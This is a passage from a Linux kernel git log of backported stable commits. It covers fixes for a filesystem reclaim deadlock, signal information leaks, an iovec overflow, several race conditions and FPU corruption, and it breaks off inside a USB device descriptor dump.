ffffffff8124565c #23 ext4_ext_create_new_leaf at ffffffff81246ca8 #24 ext4_ext_insert_extent at ffffffff81246f09 #25 ext4_ext_map_blocks at ffffffff8124a848 #26 ext4_map_blocks at ffffffff8121a5b7 #27 mpage_map_one_extent at ffffffff8121b1fa #28 mpage_map_and_submit_extent at ffffffff8121f07b #29 ext4_writepages at ffffffff8121f6d5 #30 do_writepages at ffffffff8112c490 #31 __filemap_fdatawrite_range at ffffffff81120199 #32 filemap_flush at ffffffff8112041c #33 ext4_alloc_da_blocks at ffffffff81219da1 #34 ext4_rename at ffffffff81229b91 #35 ext4_rename2 at ffffffff81229e32 #36 vfs_rename at ffffffff811a08a5 #37 SYSC_renameat2 at ffffffff811a3ffc #38 sys_renameat2 at ffffffff811a408e #39 sys_rename at ffffffff8119e51e #40 system_call_fastpath at ffffffff815afa89 Dave Chinner has properly pointed out that this is a deadlock in the reclaim code because ext4 doesn't submit pages which are marked by PG_writeback right away. The heuristic was introduced by commit e62e384e9da8 ("memcg: prevent OOM with too many dirty pages") and it was applied only when may_enter_fs was specified. The code has been changed by c3b94f44fcb0 ("memcg: further prevent OOM with too many dirty pages") which has removed the __GFP_FS restriction with a reasoning that we do not get into the fs code. But this is not sufficient apparently because the fs doesn't necessarily submit pages marked PG_writeback for IO right away. ext4_bio_write_page calls io_submit_add_bh but that doesn't necessarily submit the bio. Instead it tries to map more pages into the bio and mpage_map_one_extent might trigger memcg charge which might end up waiting on a page which is marked PG_writeback but hasn't been submitted yet so we would end up waiting for something that never finishes. Fix this issue by replacing __GFP_IO by may_enter_fs check (for case 2) before we go to wait on the writeback. The page fault path, which is the only path that triggers memcg oom killer since 3.12, shouldn't require GFP_NOFS and so we shouldn't reintroduce the premature OOM killer issue which was originally addressed by the heuristic. As per David Chinner the xfs is doing similar thing since 2.6.15 already so ext4 is not the only affected filesystem. Moreover he notes: : For example: IO completion might require unwritten extent conversion : which executes filesystem transactions and GFP_NOFS allocations. The : writeback flag on the pages can not be cleared until unwritten : extent conversion completes. Hence memory reclaim cannot wait on : page writeback to complete in GFP_NOFS context because it is not : safe to do so, memcg reclaim or otherwise. [tytso@mit.edu: corrected the control flow] Fixes: c3b94f44fcb0 ("memcg: further prevent OOM with too many dirty pages") Reported-by: Nikolay Borisov Signed-off-by: Michal Hocko Signed-off-by: Hugh Dickins Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b35deba9ca8c02d85f913b1db9a4f99c6381ed6 Author: NeilBrown Date: Fri Aug 14 17:04:21 2015 +1000 md/bitmap: return an error when bitmap superblock is corrupt. commit b97e92574c0bf335db1cd2ec491d8ff5cd5d0b49 upstream Use separate bitmaps for each nodes in the cluster bitmap_read_sb() validates the bitmap superblock that it reads in. If it finds an inconsistency like a bad magic number or out-of-range version number, it prints an error and returns, but it incorrectly returns zero, so the array is still assembled with the (invalid) bitmap. This means it could try to use a bitmap with a new version number which it therefore does not understand. This bug was introduced in 3.5 and fix as part of a larger patch in 4.1. So the patch is suitable for any -stable kernel in that range. Fixes: 27581e5ae01f ("md/bitmap: centralise allocation of bitmap file pages.") Signed-off-by: NeilBrown Reported-by: GuoQing Jiang Signed-off-by: Pranav Vashi commit 1897c24ff68a7bdc61c0d32d638981ace0c54ae8 Author: Paolo Bonzini Date: Sat May 30 14:31:24 2015 +0200 kvm: x86: fix kvm_apic_has_events to check for NULL pointer commit ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009 upstream. Malicious (or egregiously buggy) userspace can trigger it, but it should never happen in normal operation. Signed-off-by: Paolo Bonzini Signed-off-by: Wang Kai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c077d879ba30405412341cc5a2e760aba3e11cd Author: Amanieu d'Antras Date: Thu Aug 6 15:46:26 2015 -0700 signal: fix information leak in copy_siginfo_from_user32 commit 3c00cb5e68dc719f2fc73a33b1b230aadfcb1309 upstream. This function can leak kernel stack data when the user siginfo_t has a positive si_code value. The top 16 bits of si_code descibe which fields in the siginfo_t union are active, but they are treated inconsistently between copy_siginfo_from_user32, copy_siginfo_to_user32 and copy_siginfo_to_user. copy_siginfo_from_user32 is called from rt_sigqueueinfo and rt_tgsigqueueinfo in which the user has full control overthe top 16 bits of si_code. This fixes the following information leaks: x86: 8 bytes leaked when sending a signal from a 32-bit process to itself. This leak grows to 16 bytes if the process uses x32. (si_code = __SI_CHLD) x86: 100 bytes leaked when sending a signal from a 32-bit process to a 64-bit process. (si_code = -1) sparc: 4 bytes leaked when sending a signal from a 32-bit process to a 64-bit process. (si_code = any) parsic and s390 have similar bugs, but they are not vulnerable because rt_[tg]sigqueueinfo have checks that prevent sending a positive si_code to a different process. These bugs are also fixed for consistency. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Russell King Cc: Ralf Baechle Cc: Benjamin Herrenschmidt Cc: Chris Metcalf Cc: Paul Mackerras Cc: Michael Ellerman Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5bb2fd335b7c60e419cf27b92b03e3dacd7d5bf1 Author: Amanieu d'Antras Date: Thu Aug 6 15:46:29 2015 -0700 signal: fix information leak in copy_siginfo_to_user commit 26135022f85105ad725cda103fa069e29e83bd16 upstream. This function may copy the si_addr_lsb, si_lower and si_upper fields to user mode when they haven't been initialized, which can leak kernel stack data to user mode. Just checking the value of si_code is insufficient because the same si_code value is shared between multiple signals. This is solved by checking the value of si_signo in addition to si_code. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Cc: Russell King Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3739ff254838660db0a0792cba1e028c7cd79493 Author: Amanieu d'Antras Date: Thu Aug 6 15:46:33 2015 -0700 signalfd: fix information leak in signalfd_copyinfo commit 3ead7c52bdb0ab44f4bb1feed505a8323cc12ba7 upstream. This function may copy the si_addr_lsb field to user mode when it hasn't been initialized, which can leak kernel stack data to user mode. Just checking the value of si_code is insufficient because the same si_code value is shared between multiple signals. This is solved by checking the value of si_signo in addition to si_code. Signed-off-by: Amanieu d'Antras Cc: Oleg Nesterov Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 491d4b0da1f7d6ba974aa637d7663194c4091781 Author: Russell King Date: Tue Aug 6 09:48:42 2013 +0100 ARM: Fix !kuser helpers case commit 1b16c4bcf80e319b2226a886b72b8466179c8e3a upstream. Fix yet another build failure caused by a weird set of configuration settings: LD init/built-in.o arch/arm/kernel/built-in.o: In function `__dabt_usr': /home/tom3q/kernel/arch/arm/kernel/entry-armv.S:377: undefined reference to `kuser_cmpxchg64_fixup' arch/arm/kernel/built-in.o: In function `__irq_usr': /home/tom3q/kernel/arch/arm/kernel/entry-armv.S:387: undefined reference to `kuser_cmpxchg64_fixup' caused by: CONFIG_KUSER_HELPERS=n CONFIG_CPU_32v6K=n CONFIG_NEEDS_SYSCALL_FOR_CMPXCHG=n Reported-by: Tomasz Figa Signed-off-by: Russell King Cc: Martin Kaiser Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a716b9ab2c71fd7545ee2ca2ba5ea81a417b10d4 Author: Al Viro Date: Sat Mar 21 20:08:18 2015 -0400 sg_start_req(): make sure that there's not too many elements in iovec commit 451a2886b6bf90e2fb378f7c46c655450fb96e81 upstream. unfortunately, allowing an arbitrary 16bit value means a possibility of overflow in the calculation of total number of pages in bio_map_user_iov() - we rely on there being no more than PAGE_SIZE members of sum in the first loop there. If that sum wraps around, we end up allocating too small array of pointers to pages and it's easy to overflow it in the second loop. X-Coverup: TINC (and there's no lumber cartel either) Signed-off-by: Al Viro [bwh: s/MAX_UIOVEC/UIO_MAXIOV/. This was fixed upstream by commit fdc81f45e9f5 ("sg_start_req(): use import_iovec()"), but we don't have that function.] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53ad209c0b90b3fbe7decce55d52981c7262b49e Author: NeilBrown Date: Mon Jul 27 11:48:52 2015 +1000 md/raid1: extend spinlock to protect raid1_end_read_request against inconsistencies commit 423f04d63cf421ea436bcc5be02543d549ce4b28 upstream. raid1_end_read_request() assumes that the In_sync bits are consistent with the ->degaded count. raid1_spare_active updates the In_sync bit before the ->degraded count and so exposes an inconsistency, as does error() So extend the spinlock in raid1_spare_active() and error() to hide those inconsistencies. This should probably be part of Commit: 34cab6f42003 ("md/raid1: fix test for 'was read error from last working device'.") as it addresses the same issue. It fixes the same bug and should go to -stable for same reasons. Fixes: 76073054c95b ("md/raid1: clean up read_balance.") Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5281bbae8c5452e83e8a6e94c48b7ebb238c0b2a Author: Joseph Qi Date: Thu Aug 6 15:46:23 2015 -0700 ocfs2: fix BUG in ocfs2_downconvert_thread_do_work() commit 209f7512d007980fd111a74a064d70a3656079cf upstream. The "BUG_ON(list_empty(&osb->blocked_lock_list))" in ocfs2_downconvert_thread_do_work can be triggered in the following case: ocfs2dc has firstly saved osb->blocked_lock_count to local varibale processed, and then processes the dentry lockres. During the dentry put, it calls iput and then deletes rw, inode and open lockres from blocked list in ocfs2_mark_lockres_freeing. And this causes the variable `processed' to not reflect the number of blocked lockres to be processed, which triggers the BUG. Signed-off-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9b267731091c49fecd7bb100ab6e42cdc77f09f Author: Marcus Gelderie Date: Thu Aug 6 15:46:10 2015 -0700 ipc: modify message queue accounting to not take kernel data structures into account commit de54b9ac253787c366bbfb28d901a31954eb3511 upstream. A while back, the message queue implementation in the kernel was improved to use btrees to speed up retrieval of messages, in commit d6629859b36d ("ipc/mqueue: improve performance of send/recv"). That patch introducing the improved kernel handling of message queues (using btrees) has, as a by-product, changed the meaning of the QSIZE field in the pseudo-file created for the queue. Before, this field reflected the size of the user-data in the queue. Since, it also takes kernel data structures into account. For example, if 13 bytes of user data are in the queue, on my machine the file reports a size of 61 bytes. There was some discussion on this topic before (for example https://lkml.org/lkml/2014/10/1/115). Commenting on a th lkml, Michael Kerrisk gave the following background (https://lkml.org/lkml/2015/6/16/74): The pseudofiles in the mqueue filesystem (usually mounted at /dev/mqueue) expose fields with metadata describing a message queue. One of these fields, QSIZE, as originally implemented, showed the total number of bytes of user data in all messages in the message queue, and this feature was documented from the beginning in the mq_overview(7) page. In 3.5, some other (useful) work happened to break the user-space API in a couple of places, including the value exposed via QSIZE, which now includes a measure of kernel overhead bytes for the queue, a figure that renders QSIZE useless for its original purpose, since there's no way to deduce the number of overhead bytes consumed by the implementation. (The other user-space breakage was subsequently fixed.) This patch removes the accounting of kernel data structures in the queue. Reporting the size of these data-structures in the QSIZE field was a breaking change (see Michael's comment above). Without the QSIZE field reporting the total size of user-data in the queue, there is no way to deduce this number. It should be noted that the resource limit RLIMIT_MSGQUEUE is counted against the worst-case size of the queue (in both the old and the new implementation). Therefore, the kernel overhead accounting in QSIZE is not necessary to help the user understand the limitations RLIMIT imposes on the processes. Signed-off-by: Marcus Gelderie Acked-by: Doug Ledford Acked-by: Michael Kerrisk Acked-by: Davidlohr Bueso Cc: David Howells Cc: Alexander Viro Cc: John Duffy Cc: Arto Bendiken Cc: Manfred Spraul Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d15af3e0265d896cb1ebfb37e8cf89f50b704a5e Author: Dan Carpenter Date: Sat Jul 25 03:03:38 2015 +0300 ALSA: hda - fix cs4210_spdif_automute() commit 44008f0896ae205b02b0882dbf807f0de149efc4 upstream. Smatch complains that we have nested checks for "spdif_present". It turns out the current behavior isn't correct, we should remove the first check and keep the second. Fixes: 1077a024812d ('ALSA: hda - Use generic parser for Cirrus codec driver') Signed-off-by: Dan Carpenter Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b79bd6e52f181b6ddc737488fab0ede70acb344d Author: Nicholas Bellinger Date: Wed Jul 22 23:14:19 2015 -0700 iscsi-target: Fix iscsit_start_kthreads failure OOPs commit e54198657b65625085834847ab6271087323ffea upstream. This patch fixes a regression introduced with the following commit in v4.0-rc1 code, where a iscsit_start_kthreads() failure triggers a NULL pointer dereference OOPs: commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h To address this bug, move iscsit_start_kthreads() immediately preceeding the transmit of last login response, before signaling a successful transition into full-feature-phase within existing iscsi_target_do_tx_login_io() logic. This ensures that no target-side resource allocation failures can occur after the final login response has been successfully sent. Also, it adds a iscsi_conn->rx_login_comp to allow the RX thread to sleep to prevent other socket related failures until the final iscsi_post_login_handler() call is able to complete. Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d9f4dfb5c7854c500cda4f06c0e2d200ee72a6c Author: Ilya Dryomov Date: Thu Jul 16 17:36:11 2015 +0300 rbd: fix copyup completion race commit 2761713d35e370fd640b5781109f753066b746c4 upstream. For write/discard obj_requests that involved a copyup method call, the opcode of the first op is CEPH_OSD_OP_CALL and the ->callback is rbd_img_obj_copyup_callback(). The latter frees copyup pages, sets ->xferred and delegates to rbd_img_obj_callback(), the "normal" image object callback, for reporting to block layer and putting refs. rbd_osd_req_callback() however treats CEPH_OSD_OP_CALL as a trivial op, which means obj_request is marked done in rbd_osd_trivial_callback(), *before* ->callback is invoked and rbd_img_obj_copyup_callback() has a chance to run. Marking obj_request done essentially means giving rbd_img_obj_callback() a license to end it at any moment, so if another obj_request from the same img_request is being completed concurrently, rbd_img_obj_end_request() may very well be called on such prematurally marked done request: handle_reply() rbd_osd_req_callback() rbd_osd_trivial_callback() rbd_obj_request_complete() rbd_img_obj_copyup_callback() rbd_img_obj_callback() handle_reply() rbd_osd_req_callback() rbd_osd_trivial_callback() for_each_obj_request(obj_request->img_request) { rbd_img_obj_end_request(obj_request-1/2) rbd_img_obj_end_request(obj_request-2/2) <-- } Calling rbd_img_obj_end_request() on such a request leads to trouble, in particular because its ->xfferred is 0. We report 0 to the block layer with blk_update_request(), get back 1 for "this request has more data in flight" and then trip on rbd_assert(more ^ (which == img_request->obj_request_count)); with rhs (which == ...) being 1 because rbd_img_obj_end_request() has been called for both requests and lhs (more) being 1 because we haven't got a chance to set ->xfferred in rbd_img_obj_copyup_callback() yet. To fix this, leverage that rbd wants to call class methods in only two cases: one is a generic method call wrapper (obj_request is standalone) and the other is a copyup (obj_request is part of an img_request). So make a dedicated handler for CEPH_OSD_OP_CALL and directly invoke rbd_img_obj_copyup_callback() from it if obj_request is part of an img_request, similar to how CEPH_OSD_OP_READ handler invokes rbd_img_obj_request_read_callback(). Since rbd_img_obj_copyup_callback() is now being called from the OSD request callback (only), it is renamed to rbd_osd_copyup_callback(). Cc: Alex Elder Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 637b8e4a9e69fc88f0eadea20addc8dd43248c1a Author: Herbert Xu Date: Wed Jul 22 18:05:35 2015 +0800 crypto: ixp4xx - Remove bogus BUG_ON on scattered dst buffer commit f898c522f0e9ac9f3177d0762b76e2ab2d2cf9c0 upstream. This patch removes a bogus BUG_ON in the ablkcipher path that triggers when the destination buffer is different from the source buffer and is scattered. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66173ff1f775546ed35450006aaba3bbf0ac69da Author: Marek Marczykowski-Górecki Date: Fri Jun 26 03:28:24 2015 +0200 xen/gntdevt: Fix race condition in gntdev_release() commit 30b03d05e07467b8c6ec683ea96b5bffcbcd3931 upstream. While gntdev_release() is called the MMU notifier is still registered and can traverse priv->maps list even if no pages are mapped (which is the case -- gntdev_release() is called after all). But gntdev_release() will clear that list, so make sure that only one of those things happens at the same time. Signed-off-by: Marek Marczykowski-Górecki Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d384f2c46be7656f9b3507c18d304db77b8554a5 Author: Andy Lutomirski Date: Thu Jul 30 14:31:31 2015 -0700 x86/xen: Probe target addresses in set_aliased_prot() before the hypercall commit aa1acff356bbedfd03b544051f5b371746735d89 upstream. The update_va_mapping hypercall can fail if the VA isn't present in the guest's page tables. Under certain loads, this can result in an OOPS when the target address is in unpopulated vmap space. While we're at it, add comments to help explain what's going on. This isn't a great long-term fix. This code should probably be changed to use something like set_memory_ro. Signed-off-by: Andy Lutomirski Cc: Andrew Cooper Cc: Andy Lutomirski Cc: Boris Ostrovsky Cc: Borislav Petkov Cc: Brian Gerst Cc: David Vrabel Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jan Beulich Cc: Konrad Rzeszutek Wilk Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Sasha Levin Cc: Steven Rostedt Cc: Thomas Gleixner Cc: security@kernel.org Cc: xen-devel Link: http://lkml.kernel.org/r/0b0e55b995cda11e7829f140b833ef932fcabe3a.1438291540.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b31b0acca72564f743fcf05a183dab6a9d2a0e0 Author: David S. Miller Date: Thu Aug 6 19:13:25 2015 -0700 sparc64: Fix userspace FPU register corruptions. [ Upstream commit 44922150d87cef616fd183220d43d8fde4d41390 ] If we have a series of events from userpsace, with %fprs=FPRS_FEF, like follows: ETRAP ETRAP VIS_ENTRY(fprs=0x4) VIS_EXIT RTRAP (kernel FPU restore with fpu_saved=0x4) RTRAP We will not restore the user registers that were clobbered by the FPU using kernel code in the inner-most trap. Traps allocate FPU save slots in the thread struct, and FPU using sequences save the "dirty" FPU registers only. This works at the initial trap level because all of the registers get recorded into the top-level FPU save area, and we'll return to userspace with the FPU disabled so that any FPU use by the user will take an FPU disabled trap wherein we'll load the registers back up properly. But this is not how trap returns from kernel to kernel operate. The simplest fix for this bug is to always save all FPU register state for anything other than the top-most FPU save area. Getting rid of the optimized inner-slot FPU saving code ends up making VISEntryHalf degenerate into plain VISEntry. Longer term we need to do something smarter to reinstate the partial save optimizations. Perhaps the fundament error is having trap entry and exit allocate FPU save slots and restore register state. Instead, the VISEntry et al. calls should be doing that work. This bug is about two decades old. Reported-by: James Y Knight Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 19ef42422d38acd34436fc561d0b99b65c5733cd Author: David S. Miller Date: Tue Oct 14 19:37:58 2014 -0700 sparc64: Fix FPU register corruption with AES crypto offload. [ Upstream commit f4da3628dc7c32a59d1fb7116bb042e6f436d611 ] The AES loops in arch/sparc/crypto/aes_glue.c use a scheme where the key material is preloaded into the FPU registers, and then we loop over and over doing the crypt operation, reusing those pre-cooked key registers. There are intervening blkcipher*() calls between the crypt operation calls. And those might perform memcpy() and thus also try to use the FPU. The sparc64 kernel FPU usage mechanism is designed to allow such recursive uses, but with a catch. There has to be a trap between the two FPU using threads of control. The mechanism works by, when the FPU is already in use by the kernel, allocating a slot for FPU saving at trap time. Then if, within the trap handler, we try to use the FPU registers, the pre-trap FPU register state is saved into the slot. Then at trap return time we notice this and restore the pre-trap FPU state. Over the long term there are various more involved ways we can make this work, but for a quick fix let's take advantage of the fact that the situation where this happens is very limited. All sparc64 chips that support the crypto instructiosn also are using the Niagara4 memcpy routine, and that routine only uses the FPU for large copies where we can't get the source aligned properly to a multiple of 8 bytes. We look to see if the FPU is already in use in this context, and if so we use the non-large copy path which only uses integer registers. Furthermore, we also limit this special logic to when we are doing kernel copy, rather than a user copy. Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5e95a7bc457fae727cc85ad54f36c67abd090efb Author: Peter Zijlstra Date: Tue May 21 13:05:37 2013 +0200 perf/x86/amd: Rework AMD PMU init code commit 1b45adcd9a503428e6de6b39bc6892d86c9c1d41 upstream. Josh reported that his QEMU is a bad hardware emulator and trips a WARN in the AMD PMU init code. He requested the WARN be turned into a pr_err() or similar. While there, rework the code a little. Reported-by: Josh Boyer Acked-by: Robert Richter Acked-by: Jacob Shin Cc: Stephane Eranian Signed-off-by: Peter Zijlstra Link: http://lkml.kernel.org/r/20130521110537.GG26912@twins.programming.kicks-ass.net Signed-off-by: Ingo Molnar Cc: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5aeaf1735c0aab62deef72a4dd8aad39eb50cb4f Author: Guenter Roeck Date: Sun Sep 8 00:25:36 2013 -0700 mfd: sm501: dbg_regs attribute must be read-only commit 8a8320c2e78d1b619a8fa8eb5ae946b8691de604 upstream. Fix: sm501 sm501: SM501 At b3e00000: Version 050100a0, 8 Mb, IRQ 100 Attribute dbg_regs: write permission without 'store' ------------[ cut here ]------------ WARNING: at drivers/base/core.c:620 dbg_regs does not have a write function and must therefore be marked as read-only. Signed-off-by: Guenter Roeck Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e10df19e55d75c8a89ccb9a5830b8d3eaa2a43a2 Author: Xie XiuQi Date: Fri Jan 24 14:00:52 2014 -0600 ipmi: fix timeout calculation when bmc is disconnected commit e21404dc0ac7ac971c1e36274b48bb460463f4e5 upstream. Loading ipmi_si module while bmc is disconnected, we found the timeout is longer than 5 secs. Actually it takes about 3 mins and 20 secs.(HZ=250) error message as below: Dec 12 19:08:59 linux kernel: IPMI BT: timeout in RD_WAIT [ ] 1 retries left Dec 12 19:08:59 linux kernel: BT: write 4 bytes seq=0x01 03 18 00 01 [...] Dec 12 19:12:19 linux kernel: IPMI BT: timeout in RD_WAIT [ ] Dec 12 19:12:19 linux kernel: failed 2 retries, sending error response Dec 12 19:12:19 linux kernel: IPMI: BT reset (takes 5 secs) Dec 12 19:12:19 linux kernel: IPMI BT: flag reset [ ] Function wait_for_msg_done() use schedule_timeout_uninterruptible(1) to sleep 1 tick, so we should subtract jiffies_to_usecs(1) instead of 100 usecs from timeout. Reported-by: Hu Shiyuan Signed-off-by: Xie XiuQi Signed-off-by: Corey Minyard Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3ccc808baaffc1da948dfbd39688585eea851247 Author: Dirk Behme Date: Mon Jul 27 08:56:05 2015 +0200 USB: sierra: add 1199:68AB device ID commit 74472233233f577eaa0ca6d6e17d9017b6e53150 upstream. Add support for the Sierra Wireless AR8550 device with USB descriptor 0x1199, 0x68AB. It is common with MC879x modules 1199:683c/683d which also are composite devices with 7 interfaces (0..6) and also MDM62xx based as the AR8550. The major difference are only the interface attributes 02/02/01 on interfaces 3 and 4 on the AR8550. They are vendor specific ff/ff/ff on MC879x modules. lsusb reports: Bus 001 Device 004: ID 1199:68ab Sierra Wireless, Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x1199 Sierra Wireless, Inc. idProduct 0x68ab bcdDevice 0.06 iManufacturer 3 Sierra Wireless, Incorporated iProduct 2 AR8550 iSerial 0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 198 bNumInterfaces 7 bConfigurationValue 1 iConfiguration 1 Sierra Configuration bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x02 EP 2 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 2 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x83 EP 3 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x03 EP 3 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 3 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 2 Communications bInterfaceSubClass 2 Abstract (modem) bInterfaceProtocol 1 AT-commands (v.25ter) iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x84 EP 4 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x85 EP 5 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x04 EP 4 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 4 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 2 Communications bInterfaceSubClass 2 Abstract (modem) bInterfaceProtocol 1 AT-commands (v.25ter) iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x86 EP 6 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x87 EP 7 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x05 EP 5 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 5 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x88 EP 8 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x89 EP 9 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x06 EP 6 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 6 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x8a EP 10 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 5 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x8b EP 11 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 32 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x07 EP 7 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes 